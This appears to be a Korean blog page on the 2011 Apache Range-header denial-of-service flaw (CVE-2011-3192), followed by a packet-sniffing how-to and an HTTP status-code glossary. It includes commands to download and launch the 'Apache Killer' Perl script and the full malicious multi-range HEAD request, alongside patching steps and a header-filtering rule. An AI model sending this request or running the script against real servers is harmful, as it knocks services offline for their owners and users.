얼마전 아파치 웹서버 무력화시킬 심각한 DoS 결함 발견 이라는 기사가 나왔습니다. 메일링 리스트를 보니 영향 받는 소프트웨어는
Apache 1.3.x 및 이전, Apache 2.2.19 이전 버전이라고 하니 현재의 아파치 웹서버 대부분이 해당되는 이슈입니다. 따라서 아파치 웹서버를 사용하는 국내의 서버관리자들, 그리고 아파치가 탑재된 각종 산업분야의 엔지니어들은 빠른 대응을 해야겠습니다. 저도 처리해야지 하다가 오늘에서야 시간이 나서 후다닥 해치웠습니다. 개략적인 내용과 조치방법을 정리했으니 유용하게 사용하시기 바랍니다.

Range 요청 취약점?

http는 헤더정보에 Range를 사용해서 콘텐츠의 일부만 요청할 수 있습니다 . 파일 이어받기 또는 p2p 등에서 파일의 일부만을 특정 서버에서 받고자 할 때, video 스트리밍, pdf 등의 다운로드가 사용합니다. 이번의 이슈는 이 http header 에 Range를 요청하는 취약점을 이용해서 아파치 웹서버에 DoS 공격이 가능하다는 것이죠

Range ?
Range: bytes= n-m
문서가 요구하는 부분적인 범위를 명시한다. 여러 개의 범위는 세미콜론으로 구분하여 나열한다. 만일 쉼표로 구별된 바이트 범위인 첫째 숫자가 없다면 범위는 문서의 끝에서부터 센다고 가정한다. 만일 둘째 숫자가 없다면 범위는 끝에서 바이트 n까지이다. 첫째 바이트는 바이트 0이다.


이 공격을 테스트하기 위해서 http://goo.gl/gKMYo 의 Apache Killer 스크립트를 다운로드 받았습니다.

cpan -i Parallel::ForkManager
wget http://static.hackersgarage.com/killapache.pl.hackersgarage.com
mv killapache.pl.hackersgarage.com killapache.pl

실행 권한 부여
chmod u+x killapache.pl

공격시도
perl killapache.pl example.com 50

killapache.pl 스크립트는 아래와 같은 Range 요청을 해당 웹서버에 보냅니다.

HEAD / HTTP/1.1
Host: 192.168.10.140
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15,5-
16,5-17,5-18,5-19,5-20,5-21,5-22,5-23,5-24,5-25,5-26,5-27,5-28,5-29,5-30,5-31,5-32,5-
33,5-34,5-35,5-36,5-37,5-38,5-39,5-40,5-41,5-42,5-43,5-44,5-45,5-46,5-47,5-48,5-49,5-
50,5-51,5-52,5-53,5-54,5-55,5-56,5-57,5-58,5-59,5-60,5-61,5-62,5-63,5-64,5-65,5-66,5-
67,5-68,5-69,5-70,5-71,5-72,5-73,5-74,5-75,5-76,5-77,5-78,5-79,5-80,5-81,5-82,5-83,5-
84,5-85,5-86,5-87,5-88,5-89,5-90,5-91,5-92,5-93,5-94,5-95,5-96,5-97,5-98,5-99,5-100,5-
101,5-102,5-103,5-104,5-105,5-106,5-107,5-108,5-109,5-110,5-111,5-112,5-113,5-114,5-
115,5-116,5-117,5-118,5-119,5-120,5-121,5-122,5-123,5-124,5-125,5-126,5-127,5-128,5-
129,5-130,5-131,5-132,5-133,5-134,5-135,5-136,5-137,5-138,5-139,5-140,5-141,5-142,5-
143,5-144,5-145,5-146,5-147,5-148,5-149,5-150,5-151,5-152,5-153,5-154,5-155,5-156,5-
157,5-158,5-159,5-160,5-161,5-162,5-163,5-164,5-165,5-166,5-167,5-168,5-169,5-170,5-
171,5-172,5-173,5-174,5-175,5-176,5-177,5-178,5-179,5-180,5-181,5-182,5-183,5-184,5-
185,5-186,5-187,5-188,5-189,5-190,5-191,5-192,5-193,5-194,5-195,5-196,5-197,5-198,5-
199,5-200,5-201,5-202,5-203,5-204,5-205,5-206,5-207,5-208,5-209,5-210,5-211,5-212,5-
213,5-214,5-215,5-216,5-217,5-218,5-219,5-220,5-221,5-222,5-223,5-224,5-225,5-226,5-
227,5-228,5-229,5-230,5-231,5-232,5-233,5-234,5-235,5-236,5-237,5-238,5-239,5-240,5-
241,5-242,5-243,5-244,5-245,5-246,5-247,5-248,5-249,5-250,5-251,5-252,5-253,5-254,5-
255,5-256,5-257,5-258,5-259,5-260,5-261,5-262,5-263,5-264,5-265,5-266,5-267,5-268,5-
269,5-270,5-271,5-272,5-273,5-274,5-275,5-276,5-277,5-278,5-279,5-280,5-281,5-282,5-
283,5-284,5-285,5-286,5-287,5-288,5-289,5-290,5-291,5-292,5-293,5-294,5-295,5-296,5-
297,5-298,5-299,5-300,5-301,

--CUT--

1016,5-1017,5-1018,5-1019,5-1020,5-1021,5-1022,5-1023,5-1024,5-1025,5-1026,5-1027,5-
1028,5-1029,5-1030,5-1031,5-1032,5-1033,5-1034,5-1035,5-1036,5-1037,5-1038,5-1039,5-
1040,5-1041,5-1042,5-1043,5-1044,5-1045,5-1046,5-1047,5-1048,5-1049,5-1050,5-1051,5-
1052,5-1053,5-1054,5-1055,5-1056,5-1057,5-1058,5-1059,5-1060,5-1061,5-1062,5-1063,5-
1064,5-1065,5-1066,5-1067,5-1068,5-1069,5-1070,5-1071,5-1072,5-1073,5-1074,5-1075,5-
1076,5-1077,5-1078,5-1079,5-1080,5-1081,5-1082,5-1083,5-1084,5-1085,5-1086,5-1087,5-
1088,5-1089,5-1090,5-1091,5-1092,5-1093,5-1094,5-1095,5-1096,5-1097,5-1098,5-1099,5-
1100,5-1101,5-1102,5-1103,5-1104,5-1105,5-1106,5-1107,5-1108,5-1109,5-1110,5-1111,5-
1112,5-1113,5-1114,5-1115,5-1116,5-1117,5-1118,5-1119,5-1120,5-1121,5-1122,5-1123,5-
1124,5-1125,5-1126,5-1127,5-1128,5-1129,5-1130,5-1131,5-1132,5-1133,5-1134,5-1135,5-
1136,5-1137,5-1138,5-1139,5-1140,5-1141,5-1142,5-1143,5-1144,5-1145,5-1146,5-1147,5-
1148,5-1149,5-1150,5-1151,5-1152,5-1153,5-1154,5-1155,5-1156,5-1157,5-1158,5-1159,5-
1160,5-1161,5-1162,5-1163,5-1164,5-1165,5-1166,5-1167,5-1168,5-1169,5-1170,5-1171,5-
1172,5-1173,5-1174,5-1175,5-1176,5-1177,5-1178,5-1179,5-1180,5-1181,5-1182,5-1183,5-
1184,5-1185,5-1186,5-1187,5-1188,5-1189,5-1190,5-1191,5-1192,5-1193,5-1194,5-1195,5-
1196,5-1197,5-1198,5-1199,5-1200,5-1201,5-1202,5-1203,5-1204,5-1205,5-1206,5-1207,5-
1208,5-1209,5-1210,5-1211,5-1212,5-1213,5-1214,5-1215,5-1216,5-1217,5-1218,5-1219,5-
1220,5-1221,5-1222,5-1223,5-1224,5-1225,5-1226,5-1227,5-1228,5-1229,5-1230,5-1231,5-
1232,5-1233,5-1234,5-1235,5-1236,5-1237,5-1238,5-1239,5-1240,5-1241,5-1242,5-1243,5-
1244,5-1245,5-1246,5-1247,5-1248,5-1249,5-1250,5-1251,5-1252,5-1253,5-1254,5-1255,5-
1256,5-1257,5-1258,5-1259,5-1260,5-1261,5-1262,5-1263,5-1264,5-1265,5-1266,5-1267,5-
1268,5-1269,5-1270,5-1271,5-1272,5-1273,5-1274,5-1275,5-1276,5-1277,5-1278,5-1279,5-
1280,5-1281,5-1282,5-1283,5-1284,5-1285,5-1286,5-1287,5-1288,5-1289,5-1290,5-1291,5-
1292,5-1293,5-1294,5-1295,5-1296,5-1297,5-1298,5-1299
Accept-Encoding: gzip
Connection: close

그 결과 버그가 존재하는 아파치 웹서버의 경우에는 아래와 같이 시스템의 CPU, 메모리등의 자원을 엄청나게 소모하게 되고 결국 정상적인 서비스가 불가능하게 됩니다.




조치방법

이 보안 이슈에 대응하는 방법은 두가지가 있습니다. 현재 이슈가 해결된 버전이 이미 나와있기 때문에 가장 좋은 방법은 아파치 웹서비스 패키지를 최신으로 업데이트하는 것이 좋습니다, 하지만 운영중인 서비스에 대해서 재설치의 압박이 있는 경우도 있으니 그런 경우라면 웹서버 Range header의 조건을 검사하여 차단하는 방법이 있습니다.

1) Apache 2.2.20 업데이트(Apache 2.2.20 for CentOS 5.x)

소스 컴파일을 하시는 경우에는 홈페이지에서(http://httpd.apache.org/download.cgi) 최신 소스코드를 다운받아 설치하시기 바랍니다. 저는 CentOS 5.5 를 사용하는데 아직 yum repository 에는 최신의 아파치 rpm이 없기 때문에 다른곳을 이용해서 설치했습니다.

Yum repository 추가(자신의 환경에 맞는 repository를 추가해 줍니다)
i386 :
rpm -ihv http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

x86_64:
rpm -ihv http://centos.alt.ru/repository/centos/5/x86_64/centalt-release-5-3.noarch.rpm

설치된 Repository 확인
yum repolist

아파치 버전 확인
yum --enablerepo=CentALT list httpd

아파치 업데이트
yum --enablerepo=CentALT install httpd

웹서버 재시작
service httpd restart


2) http header의 Range 요청을 검사해서 차단하는 방법

대부분 정상적인 Range 요청시 필드가 5개 이상은 넘지 않기 때문에 5개를 넘는 Range 요청이 있다면 Range 요청은 리셋하는 방법입니다. 웹서버 환경설정 파일을 아래와 같이 새로 추가합니다.(rpm으로 설치했다면 /etc/httpd/conf.d/ 안에 생성)

/etc/httpd/conf.d/range-CVE-2011-3192.conf 파일의 내용

# Drop the Range header when more than 5 ranges.
# CVE-2011-3192
SetEnvIf Range (?:,.*?){5,5} bad-range=1
RequestHeader unset Range env=bad-range

# We always drop Request-Range; as this is a legacy
# dating back to MSIE3 and Netscape 2 and 3.
RequestHeader unset Request-Range

웹서버 재시작
service httpd restart


CVE 자료(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192) 를 보니 8/19에 접수된 이슈인데 8/30 이슈가 해결된 아파치 2.2.20 버전이 나왔습니다. 이번 일을 통해서 다시한번 오픈소스SW의 보안에 대한 빠른 대응을 느끼게 됩니다. SW를 개발하는 입장에서 보면 아파치정도의 세계시장 점유율을 가진 소프트웨어가 이렇게 빠르게 대응하는 것이 가능할까하는 의문이 듭니다. 이것이 오픈소스SW의 힘이겠죠  :-)


참고 자료


보안서버 구축 후, 일반 사용자에게 암호화 되고있는 효과를 보여주기 위해서는 http 패킷을 보여줘야 한다.
(http가 plain text로 통신되며 안전하지 않은 것을 눈으로 보여주기 위해서 이 문서를 작성.)

http로 통신되는 내용을 보기위한 방법은 여러가지 존재하는데
그 중 윈도우 사용자를위한 패킷분석도구를 사용해서 http를 살펴보자.
libpcap, ehtreal 기반의 훌륭한 패킷분석도구가 오픈소스로 제공되니 설치해보자.

Packetyzer - 패킷분석기

http://sourceforge.net/projects/packetyzer/


설치를 일반적인 윈도우 프로그램과 동일하게 진행하고 난 후
아래의 아이콘을 클릭하면 패킷을 분석하기 시작한다.



이 상태에서 브라우저를 열고 대상사이트를 방문하여, 로그인 같은 과정을 진행한다.
그리고 위의 버튼을 한번더 클릭하면 패킷분석이 중단된다.

여러가지 네트워크 관련 트래픽이 일어나는 pc의 경우라면 많은 내용이 빠르게 흘러가면서 캡처될것이다.
그 중 원하는 내용만 별도로 보기위해서 프로그램 하단의 filter를 이용하자.


설정한 주소만 보여달라는 필터를 설정을 한 후 apply버튼을 누르면 해당하는 ip의 내용만 나타난다.

아주 다양한 유형의 필터를 설정해서 볼수 있으므로,
필터의 상세한 내용은 프로그램 상단메뉴의 > Windows > Show FilterList 를 보자.

내용을 살펴보면 아래처럼 아이디와 비밀번호를 평문으로 전달하고 있는것을 볼 수 있다.




이번에는 브라우저의 주소를 보안서버가 적용된 https로 접속하여 패킷을 분석해보자.
그 결과 전달된 내용이 암호화 되고 있음을 볼 수 있다.


http://www.faqs.org/rfcs/rfc2616.html

- 200
[OK]  클라이언트의 request가 성공적으로 수행됐다.
request처리결과로 클라이 언트에게 전달되는 정보는 사용된 method에 따라서 달라진다.
[GET] request가 지정한 자원이 response메세 지로 전달 된다.
[HEAD] response메세지에는 요청된 자원에 관한 정보를 나타내는 header만이 포함된다.
[POST] 지 정된 동작의 수행결과를 포함하거나 결과를 설명하는 엔터티가 전달된다.

- 201
[ Created] request 가 처리되었고 그 결과로 새로운 자원이
생성되었다. 생성된 새로운 자원을 나타내는 URI값이 response메시지로 전달된 다. 서버가 이와 같은 status code를 클라이언트에게 전달하기 위해서는 새로운 자원을 먼저 생성시켜야 한다.
response 메시지를 전달 할때까지 새로운 자원이 생성되지 못하면 status code 202(Accepted)를 보내야 한 다. POST method만이 서버에 새로운 자원을 생성시킬 수 있다.

- 202
[Accepted] request 가 수락되었으나 response메시지를 전달할
때까지 그 프로세싱이 완료되지 못했으며 또한 언제까지 request의 수행결과 를 사용자가 볼 수 있을지를 확실히 판단할 수 없다. 이와 같은 status code는 request가 수락된 것 (accepted)만을 나타낼뿐 궁극적으로 그 request가 처리될 것이라는 보장
할 수 없을 때 사용된 다. status code 202는 Web브라우저와 같이 서버의 처리결과를 전달받을 때까지계속 기다리게 되는 클라이언트를 위한 것 은 아니다.
WEb브라우저와는 다른 일종의 batch프로세서(하루에 한번정도 실행되는)의 request를 서버가 받아들 일 수 있도록 하기위한 것이다.

- 204
[No Content] 서버가 request를 처리했지만 클라이언트에 게 전달할 새로운 정보가 없다. 이 status code를 전달받는 Web브라우저는 현재 디스플레이 중인 내용을 변경시키지 않아 야 한다. 이 code를 정의한 주된 목적은 현재 디스플레이 중인 문서의 내용을 변경시키지 않으면서 CGI스크립트 등에 입력을 전 달할 수 있도록하기 위해서이다.

- 300
[Multiple] HTTP/1.0을 사용하는 경우에는 이 code 가 직접적으로Choices 사용되지는 않는다. 다만, 3xx클래스에 속하는 status
code의 디폴트값으로 사용된 다. 그 의미는 301, 302, 304만이 HTTP/1.0에 정의되어 있으므로 그 외의 status code값을 전달받는 경우에 는 300으로 간주한다는 의미가 되는 것이다.

- 301
[Moved] 요청된 자원의 URI값이 완전히 변경되었 으므로 앞으
Permanently 로는 새로운 URI값을 사용하여야 한다. 새로운 URI값은 Location헤더를 통해서 클 라이언트에게 전달된다. 또한
HEAD method를 제외한 모든 경우에 response메시지의 entity body를 통해 서 새로운 URI의 하이퍼링크를 포함하는 짧은 메시지를 전달해 주어야 한다. Web브라우저는 POST method를 사용 한 request의 결과로 301 status code를 전달받는 경우에는 자동으로 새로운 URI에 접속해서는 안된다. 반드 시, 사용자의확인을 거쳐야 한다.

- 302
[Moved] 요청된 자원의 URI값이 임시로 변경되었다. 따라 서 추후
Temporarily 에도 현재의 URI값을 계속 사용하여야 한다. 새로운 URI값은 Location헤더를 통해 서 클라이언트에게 전달된다.
또, HEAD method를 제외한 모든 경우에 response메시지의 entity body 를 통해서 새로운 URI의 하이퍼링크를 포함하는 짧은 메시지를 전달해 주어야 한다. Web브라우저는 POST method를 사용 한 response의 결과로 302 status code를 전달받는 경우에는 자동으로 새로운 URI에 접속을 해서는 안된다. 반드 시 사용자의 확인을 거쳐야 한다.

- 304
[Not] conditional GET method가 사용된 경우 에 전달된다.
[Modified] request를 처리한 결과 If-Modified-Since헤더에 지정된 날짜/시간 이래 로 지정된 문서가 변경된 사실이 없는 경우
서버는 이 status code로 응답해야 한다. 이때, entity body 는 전송되지 않는다. reseponse메시지로 전달되는 헤더들은 주로 cache와 관련된 정보를 포함하게 된다.
cache manager(대 개의 경우는 Web브라우저 자체에 그 기능이 포함된다)는 304 response에 포함된 헤더의 값을 cache된 entity들 에 반영할 수 있도록 하여야 한다.

- 400 
[Bad Request] request메시지의 syntax가 잘 못되어서 서버가 request를 처리할 수 없다. 재접속을 하는 경우에 클라이언트는
반드시 올바른 request메시지를 사용 해야 한다.

- 401
[Unauthorized] request가 user quthentication을 필요 로 한다는 것을 클라이언트에게 알려주기 위해서 사용된다.
WWW-Authenticate헤더를 통해서 요청된 자원에 적용되 는 hallenge를 전달한다. 401 response를 받은 클라이언트는 적절한 Authorization credentials 를 포함하는 Authorization헤더와 함께 다시 request메시지를 전송한다.
request메시지에 그와 같 은 Authorization credentials이
포함된 경우에 401 status code가 전달되 면 user authentication이 실패한 것을 나타낸다.

- 403 
[Forbidden] 서버 가 request의 처리를 거절하는 것을 나타낸다. 이와 같은 응답을 받은 경우에는 동일한 request를 반복하지
말아 야 한다. 왜냐하면 무조건 request가 거절되는 것이기
때문이다. 403 status code는 request를 거절하 는 이유를
명시적으로 밝히고 싶지 않거나 달리 대응할 적절한 status code가 없을때 사용된다.

- 404
[Not Found] Request- URI에 해당하는 자원을 찾을 수 없을 경우에 사용된다. 그런 상태가 일시적인 것인지 아니면 언제나 그렇게되는지를 나타내는 어 떤 정보도 전달되지 않는다. 이런 상태를 클라이언트에게 알리고 싶지 않은 경우에는 403code를 대신 사용해도 된다.

- 500 
[Internal] 서 버프로그램에서 예기치 않은 오류가 발생하여서 request Srever Error  를 처리할 수 없다.

- 501
[Not] request 를 처리하기 위해서는 필요한 기능을 서버가 갖추고 Implemented  있지 못하다.

- 502
[Bad] gateway 나 proxy로 동작하는 서버가 사용하는 것으로 자신
Gateway 의 위쪽에 있는 서버로 부터 잘못된 response메시지 를 전송 받았다는 것을 나타낸다.

- 503
[Service] 과부하나 서버 maintenance때문에 서버 가 잠시동안 request Unavailable 를 처리해 줄수 없는 상태에 있다.
 

'개발도 하냐?' 카테고리의 다른 글

Prototype URL encode, decode  (0) 2010.06.19
정규표현식(regular expressions)  (0) 2010.06.16
CakePHP Framework  (0) 2010.06.09
editplus setting  (0) 2010.06.06
hidden frame  (0) 2009.12.27

+ Recent posts